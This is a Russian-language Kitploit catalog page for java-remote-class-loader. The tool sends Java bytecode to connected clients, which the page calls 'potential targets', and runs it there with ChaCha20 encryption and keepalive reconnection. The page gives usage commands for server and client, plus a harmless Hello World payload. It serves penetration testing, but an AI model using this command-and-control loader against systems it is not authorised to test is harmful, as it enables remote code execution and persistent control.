Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
java-remote-class-loader — Клиент-серверный инструмент для удаленной загрузки и выполнения Java-байткода через ClassLoader и Reflect API, с шифрованием ChaCha20 и поддержанием соединения. | Kitploit
Инструменты/GitHubGitHub/joaovarelas/java-remote-class-loader
Инструменты шифрования/дешифрованияГенерация полезной нагрузкиЭксплуатацияКомандование и УправлениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

Клиент-серверный инструмент для удаленной загрузки и выполнения Java-байткода через ClassLoader и Reflect API, с шифрованием ChaCha20 и поддержанием соединения.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
34634 лет назадПроверено Kitploit

java-remote-class-loader

Этот инструмент позволяет отправлять Java-байткод в виде class-файлов вашим клиентам (или потенциальным целям) для загрузки и выполнения с помощью Java ClassLoader и Reflect API. Клиент получает class-файл от сервера и возвращает результат выполнения. Полезные нагрузки должны быть написаны на Java и скомпилированы до запуска сервера.

Возможности

  • Архитектура "клиент-сервер"
  • Удалённая загрузка Java class-файлов
  • Шифрование при передаче с помощью шифра ChaCha20
  • Настройки задаются через аргументы командной строки
  • Механизм keepalive для восстановления связи при перезапуске сервера

Установка

Инструмент протестирован с OpenJDK 11 и пакетом JRE Java как на Windows, так и на Linux (портативная zip-версия). Версия Java должна быть 11 или выше из-за зависимостей.

https://www.openlogic.com/openjdk-downloads

Использование

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

Пример

Предположим, у вас есть следующая полезная нагрузка "Hello World" в файле Payload.java:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

Затем её нужно скомпилировать и получить соответствующий файл Payload.class.

Для запуска серверного процесса, прослушивающего порт 1337 на всех сетевых интерфейсах:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

На стороне клиента можно использовать тот же JAR-пакет с флагом -client и симметричным ключом, сгенерированным сервером. Укажите IP-адрес и порт сервера для подключения. Также можно изменить имя класса и имя метода (по умолчанию используются Payload и String exec() соответственно). Дополнительно можно указать -keepalive, чтобы клиент продолжал запрашивать class-файл с сервера, поддерживая соединение.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Ссылки

Обратитесь к https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ за статьёй, связанной с разработкой этого инструмента.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

Скачать инструмент